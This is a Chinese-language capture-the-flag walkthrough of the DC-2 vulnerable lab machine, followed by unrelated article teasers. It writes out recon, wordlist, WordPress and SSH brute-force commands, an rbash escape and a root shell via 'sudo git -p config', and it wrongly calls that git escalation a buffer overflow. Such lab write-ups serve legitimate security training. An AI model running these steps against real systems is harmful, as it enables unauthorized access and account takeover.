DC-2靶场

DC-2 下载地址:DC and Five86 Series Challenges - Downloads​编辑https://www.five86.com/downloads.html

 DC-2环境配置:解压后在vm虚拟机点击左上方文件-->打开-->选择解压后的DC-2。把kali和DC-2的网路适配器都改成NAT模式

flag1

首先进行主机发现:

arp-scan -l

得知靶机ip为192.168.183.145

Nmap扫描:

nmap -A -p-  192.168.183.145

显示有80端口和7744端口,ssh服务开启

PORT     STATE SERVICE VERSION

80/tcp   open  http    Apache httpd 2.4.10 ((Debian))

|_http-server-header: Apache/2.4.10 (Debian)

|_http-generator: WordPress 4.7.10

|_http-title: DC-2 – Just another WordPress site

7744/tcp open  ssh     OpenSSH 6.7p1 Debian 5+deb8u7 (protocol 2.0)

| ssh-hostkey:

|   1024 52517b6e70a4337ad24be10b5a0f9ed7 (DSA)

|   2048 5911d8af38518f41a744b32803809942 (RSA)

|   256 df181d7426cec14f6f2fc12654315191 (ECDSA)

|_  256 d9385f997c0d647e1d46f6e97cc63717 (ED25519)

直接访问ip,却在访问的时候网站自动跳转dc-2,查看别人wp得知域名解析错误,需要修改host文件

windows下的hosts文件的路径是:

c:\windows\system32\drivers\etc\hosts

Linux下的hosts文件的路径是:

/etc/hosts

修改host文件:

sudo vim /etc/hosts

在里面127.0.0.1的下方增加

192.168.183.145  dc-2

成功访问80端口后得到第一个flag和提示,中文意思大概是“你平常的字典大概率不能成功,你可能需要cewl”。cewl是kali自带的一个工具,用于生成自定义字典的工具。它通过扫描目标网站或文本文件中的内容,并分析其中的单词和短语来生成字典列表,这些单词和短语可以包括用户名、电子邮件地址、电话号码以及其他与目标有关的信息。

flag2:

这里我们只需要:

先touch 文件名,在当前目录下装一个文件来放字典

touch passwd.txt

然后爬取字典

cewl http://dc-2 -w passwd.txt  #通过网页从指定的URL提取词汇,并将结果保存到当前目录下名为 "passwd.txt" 的文件中。

一些cewl的相关语法:

cewl 工具的常用参数:
  • -w <output-file>:指定输出字典文件的路径和名称。
  • -d <depth>:指定爬取页面的深度,即从目标网站开始向下爬取的层数。
  • -m <min-word-length>:设置生成字典中单词的最小长度。
  • -i:忽略重复的单词,避免在字典中生成重复的条目。
  • -a:将结果保存为用户名和密码对的形式,用于密码破解。
  • -e:将结果作为邮箱地址保存,用于社会工程学攻击。
增加爬取深度

如果你想增加爬虫的爬取深度以生成更大的字典文件,你可以使用-d选项来指定爬取深度,默认的爬取深度为2:

cewl http://www.ignitetechnologies.in/ -d 3

提取调试信息

你可以使用--debug选项来开启调试模式,这样就可以查看网站爬取过程中出现的错误和元数据了:

cewl http://www.ignitetechnologies.in/ --debug

生成包含数字和字符的字典

如果你想生成包含数字和字符的字典文件,你可以在命令中使用–with-numbers选项:

cewl http://testphp.vulnweb.com/ --with-numbers

从插件或者观察我们能得出这个网站是WordPress,一个以PHP和MySQL开发的网站,针对这个框架我们直接使用wpscan进行扫描,该扫描器可以实现获取Wordpress站点用户名,获取安装的所有插件、主题,以及存在漏洞的插件、主题,并提供漏洞信息。同时还可以实现对未加防护的Wordpress站点暴力破解用户名密码。

wpscan常用参数
–update 更新到最新版本
–url | -u 要扫描的WordPress站点.
–force | -f 不检查网站运行的是不是WordPress
–enumerate | -e [option(s)] 枚举

wpscan扫描

1、扫描WordPress漏洞、版本、ip等信息
wpscan --url http://www.xxxxx.top/
2、扫描枚举wordpress用户
wpscan --url http://www.xxxxx.top/ --enumerate u
3、扫描主题
wpscan --url http://www.xxxxx.top/ --enumerate t
4、扫描插件漏洞
wpscan --urlhttp://www.xxxxx.top/ --enumerate p
5、使用WPScan进行暴力破解在进行暴力破解攻击之前,我们需要创建对应的字典文件。输入下列命令:
wpscan --url https://www.xxxxx.top/-e u --wordlist /root/桌面/password.txt
6、暴力破解用户密码
wpscan --url dc-2 user.txt -P passwd.txt
7、wpscan --ignore-main-redirect --url 192.168.1.8 --enumerate u --force
  • --ignore-main-redirect:该参数可用于忽略网站中可能存在的主要的页面重定向,以确保扫描结果的准确性。

  • --url:该参数用于指定要扫描的 WordPress 网站的 URL 地址。在本例中,扫描的目标是位于本地网络中的地址为 "192.168.1.8" 的 WordPress 网站。

  • --enumerate u:该参数用于枚举所有的 WordPress 用户,以便查看是否存在弱密码或其他安全风险。

  • --force:该参数用于在可能存在风险的情况下,仍然尝试对目标进行攻击和渗透测试。

本靶场爆破密码:

wpscan --url http://dc-2 --enumerate u

找到三个用户名admin、jerry、tom,将三个用户名写入user.txt中,配合刚刚收集的网站字典passwd.txt,配合wpscan再次爆破用户密码:

wpscan --url dc-2 user.txt -P passwd.txt

得到jerry用户密码为:adipiscing,tom用户密码为:parturient

这里也可以用hydra爆破:

hydra基本参数:

-R 根据上一次进度继续破解

-S 使用SSL协议连接

-s 指定端口

-l 指定用户名

-L 指定用户名字典(文件)

 -p 指定密码破解

 -P 指定密码字典(文件)

 -e 空密码探测和指定用户密码探测(ns)

 -C 用户名可以用:分割(username:password)可以代替-l username -p password

 -o 输出文件

-t 指定多线程数量,默认为16个线程

-vV 增加输出的详细程度和详细信息

Payload:

hydra -L user.txt -P pwd.dic ssh://192.168.1.104 -s 7744 -vV

-v 参数是 verbose(冗长模式)的缩写,它会提供更多的输出信息以显示 Hydra 的执行过程。通常,使用 -v 参数会显示更多的进度和状态信息,使用户能够更好地了解 Hydra 正在进行的操作。

访问WordPress默认登录界面 /wp-login.php,登录jerry的时候发现flag2

flag3:

到这里网页上的就没什么好挖掘的了,想到我们扫出来的7744端口,可以尝试进行远程登录jerry账号连接显示权限限制,继续尝试tom:

ssh tom@192.168.183.145 -p 7744

输入密码登录tom

ls发现flag3.txt但是cat之后发现反回-rbash: cat: command not found

这里有两种方法读取文件,一种是vi读取,一种是rbash逃逸。rbash 是 Restricted Bash 的缩写,是一种受限的 shell 环境。当bash以rbash这个名字启动,或者是通过-r选项调用时,那么这个shell就会受限 受限shell(以下统称为rbash)和bash相同,但以下情况是不允许rbash执行的:

  1. 使用命令cd更改目录
  2. 设置或者取消环境变量的设置(SHELL, PATH, ENV, or BASH_ENV)
  3. 指定包含参数'/'的文件名
  4. 指定包含参数' - '的文件名
  5. 使用重定向输出'>', '>>', '> |', '<>' '>&','&>'

大致的限制如上,具体rbash解释参考文章:https://cloud.tencent.com/developer/article/1680551

本靶场中方法一:

tom@DC-2:~$ BASH_CMDS[a]=/bin/sh;a  //切换shell

$ export PATH=$PATH:/bin/       //添加$PATH,cat和su都在/bin下

$ export PATH=$PATH:/usr/bin    //sudo在/usr/bin下

$ cat flag3.txt

方法二:

ls发现usr,查看这个usr下的bin文件,发现vi可用,因此直接

vi flag3.txt

得到flag3,同时这里提示了要切换用户jerry

flag4:

切换用户:

su jerry

ls查目录发现flag4,也捕捉到关键词git,猜测需要git提权获得root权限

$ cat flag4.txt

Good to see that you've made it this far - but you're not home yet.

You still need to get the final flag (the only flag that really counts!!!).  

No hints here - you're on your own now.  :-)

Go on - git outta here!!!!

flag5:

使用fing命令查看具有root权限的suid文件:

find / -user root -perm -4000 -print 2>/dev/null

发现有/usr/bin/sudo,可以用git提权,原理是git存在缓冲区溢出漏洞,在使用sudo git -p help或者sudo git help config时,不需要输入root密码即可以root权限执行这条命令。

1、sudo git -p config
#在末行命令交互模式输入 !/bin/bash 或 !‘sh’ #完成提权
2、sudo git -p help 
#输入!/bin/bash,即可打开一个用户为root的shell

具体过程:

jerry@DC-2:~$ sudo git -p config

usage: git config [options]

Config file location

    --global              use global config file

    --system              use system config file

    --local               use repository config file

    -f, --file <file>     use given config file

    --blob <blob-id>      read config from given blob object

Action

    --get                 get value: name [value-regex]

    --get-all             get all values: key [value-regex]

    --get-regexp          get values for regexp: name-regex [value-regex]

    --get-urlmatch        get value specific for the URL: section[.var] URL

    --replace-all         replace all matching variables: name value [value_regex]

    --add                 add a new variable: name value

    --unset               remove a variable: name [value-regex]

    --unset-all           remove all matches: name [value-regex]

    --rename-section      rename section: old-name new-name

    --remove-section      remove a section: name

!/bin/sh

# whoami

Root

发现已经是root权限了,最后一个flag就在/root的目录下

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/227043.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【教程】从零开始的ORB-SLAM3的安装与配置

引言 最近项目需求需要接触vslam&#xff0c;博主选择从ORB-SLAM3下手并且记录下安装的基本流程。不得不说&#xff0c;这安装流程就像二大娘的裹脚布。 大致环境前提&#xff1a;Ubuntu20.04 一、ORB-SLAM3的源码下载 1、首先&#xff0c;为了方便管理文件&#xff0c;我们…

面向对象三大特征之二:继承

继承的快速入门 什么是继承&#xff1f; Java中提供了一个关键字extends&#xff0c;用这个关键字&#xff0c;可以让一个类与另一个类建立起父子关系 继承的特点 子类能继承父类的非私有成员&#xff08;成员变量、成员方法&#xff09; 继承后对象的创建 子类的对象是由…

MyBatis Plus 大数据量查询优化

大数据量操作的场景大致如下&#xff1a; 数据迁移 数据导出 批量处理数据 在实际工作中当指定查询数据过大时&#xff0c;我们一般使用分页查询的方式一页一页的将数据放到内存处理。但有些情况不需要分页的方式查询数据或分很大一页查询数据时&#xff0c;如果一下子将数…

RTX 40 SUPER发布时间定了!价格也有了

快科技12月16日消息&#xff0c;NVIDIA RTX 40 SUPER系列显卡基本确定将在2024年1月8日正式发布&#xff0c;也就是CES 2024大展期间&#xff0c;随后在1月中下旬陆续解禁上市。 RTX 4070 SUPER 1月16日解禁公版/原价丐版&#xff0c;1月17日解禁高价高配版&#xff0c;上市开…

测试架构师必备技能-Nginx安装部署实战

Nginx(“engine x”)是一款是由俄罗斯的程序设计师Igor Sysoev所开发高性能的免费开源Web和 反向代理服务器&#xff0c;也是一个 IMAP/POP3/SMTP 代理服务器。在高并发访问的情况下&#xff0c;Nginx是Apache服务器不错的替代品。官网数据显示每秒TPS高达50W左右。本文为读者朋…

FPGA设计时序约束十二、Set_Clock_Sense

目录 一、序言 二、Set Clock Sense 2.1 基本概念 2.2 设置界面 2.3 命令语法 2.4 命令示例 三、工程示例 3.1 工程代码 3.2 无set_clock_sense 3.3 设置set_clock_sense 四、参考资料 一、序言 本章将介绍Set_Clock_Sense约束&#xff0c;在介绍约束之前&#xff0…

《Kotlin核心编程》笔记:反射、注解和加锁

Kotlin 和 Java 反射 1&#xff09;Kotlin 的 KClass 和 Java 的 Class 可以看作同一个含义的类型&#xff0c;并且可以通过.java和.kotlin方法在KClass和Class之间互相转化。2&#xff09;Kotlin 的 KCallable 和 Java 的 AccessiableObject 都可以理解为可调用元素。Java 中构…

Redis List类型

列表类型是用来存储多个有序的字符串&#xff0c;如图所示&#xff0c;a、b、c、d、e 五个元素从左到右组成了一个有序的列表&#xff0c;列表中的每个字符串称为元素 (element)&#xff0c;一个列表最多可以存储2的32次方 -1个元素。在 Redis 中&#xff0c;可以对列表两端插入…

Linux 基本语句_15_Tcp并发服务器

原理&#xff1a; 利用父子进程。父进程接收客户端的连接请求&#xff0c;子进程处理客户端的数据处理操作&#xff0c;两者各施其职。最终实现能够多个客户端连接一个服务端的操作。 代码&#xff1a; 服务端代码&#xff1a; #include <stdio.h> #include <sys/…

借着期末作业,写一个JavaWeb项目

合集传送门 要求 学生成绩管理系统设计与实现 设计一个学生成绩管理系统。根据以下功能&#xff0c;分析使用的逻辑结构和存储结构。并设计菜单&#xff0c;显示相应结果。 &#xff08;1&#xff09;录入功能&#xff1a;能够录入学生成绩&#xff08;包括&#xff1a;学号…

一个遗憾,特此纪念

这是学习笔记的第 2479篇文章 说一件有些遗憾的事情。其实今年遗憾的事情有好几件&#xff0c;这一件算是其中之一。倒不是它发生在今天&#xff0c;而是每每想起来&#xff0c;都有一种无力感和酸楚&#xff0c;索性简单写一写纪念一下。 这件事情就是放弃了读博士的想法。 在…

权重衰减(Weight Decay)

在深度学习中&#xff0c;权重衰减&#xff08;Weight Decay&#xff09;是一种常用的正则化技术&#xff0c;旨在减少模型的过拟合现象。权重衰减通过向损失函数添加一个正则化项&#xff0c;以惩罚模型中较大的权重值。 一、权重衰减 在深度学习中&#xff0c;模型的训练过程…

SQL基础:操作环境搭建

在上一节中&#xff0c;我们简单讲述了数据库和SQL的基本概念。 本节我们讲述一下环境搭建&#xff0c;为下一节讲表的基本操作做下铺垫。 环境搭建 具体到操作&#xff0c;我们就要准备一些环境了。如果不进行练习&#xff0c;我们学习的知识将很快被遗忘。 MySQL安装&…

【MySQL内置函数】

目录&#xff1a; 前言一、日期函数获取日期获取时间获取时间戳在日期上增加时间在日期上减去时间计算两个日期相差多少天当前时间案例&#xff1a;留言板 二、字符串函数查看字符串字符集字符串连接查找字符串大小写转换子串提取字符串长度字符串替换字符串比较消除左右空格案…

【话题】低代码123

目录 一、什么是低代码 二、低代码的优缺点 三、你认为低代码会替代传统编程吗&#xff1f; 四、有哪些低代码工具和框架 4.1 国外的平台 4.2 国内的平台 五、未来的软件研发 低代码&#xff0c;听着就过瘾的一个词。而且不是无代码&#xff0c;这说明&#xff0c;低代码…

计算机组成原理-函数调用的汇编表示(call和ret指令 访问栈帧 切换栈帧 传递参数和返回值)

文章目录 call指令和ret指令高级语言的函数调用x86汇编语言的函数调用call ret指令小结其他问题 如何访问栈帧函数调用栈在内存中的位置标记栈帧范围&#xff1a;EBP ESP寄存器访问栈帧数据&#xff1a;push pop指令访问栈帧数据&#xff1a;mov指令小结 如何切换栈帧函数返回时…

Spring入门

学习的最大理由是想摆脱平庸&#xff0c;早一天就多一份人生的精彩&#xff1b;迟一天就多一天平庸的困扰。各位小伙伴&#xff0c;如果您&#xff1a; 想系统/深入学习某技术知识点… 一个人摸索学习很难坚持&#xff0c;想组团高效学习… 想写博客但无从下手&#xff0c;急需…

Toyota Programming Contest 2023#8(AtCoder Beginner Contest 333)

A - Three Threes 题目大意&#xff1a;给你一个整数n&#xff0c;将这个数n输出n次。 呃呃 B - Pentagon 题目大意&#xff1a;给你一个正五边形ABCDE&#xff0c;给你任意两条边&#xff0c;判断是否相等 主要问题要判断一下内边&#xff1a;AD&#xff0c;AC&#xff0c;…

基于ssm图书商城网站的设计和开发论文

摘 要 现代经济快节奏发展以及不断完善升级的信息化技术&#xff0c;让传统数据信息的管理升级为软件存储&#xff0c;归纳&#xff0c;集中处理数据信息的管理方式。本图书商城网站就是在这样的大环境下诞生&#xff0c;其可以帮助管理者在短时间内处理完毕庞大的数据信息&am…

Win11极速安装Tensorflow-gpu+CUDA+cudnn

文章目录 0.pip/conda换默认源1.Anacondapython虚拟环境2.安装CUDA以及cudnn 0.pip/conda换默认源 为了高效下载&#xff0c;建议先把默认源换了&#xff0c;很简单这里不再赘述。&#xff08;我用梯子&#xff0c;所以没换源&#x1f60b;&#xff09; 1.Anacondapython虚拟…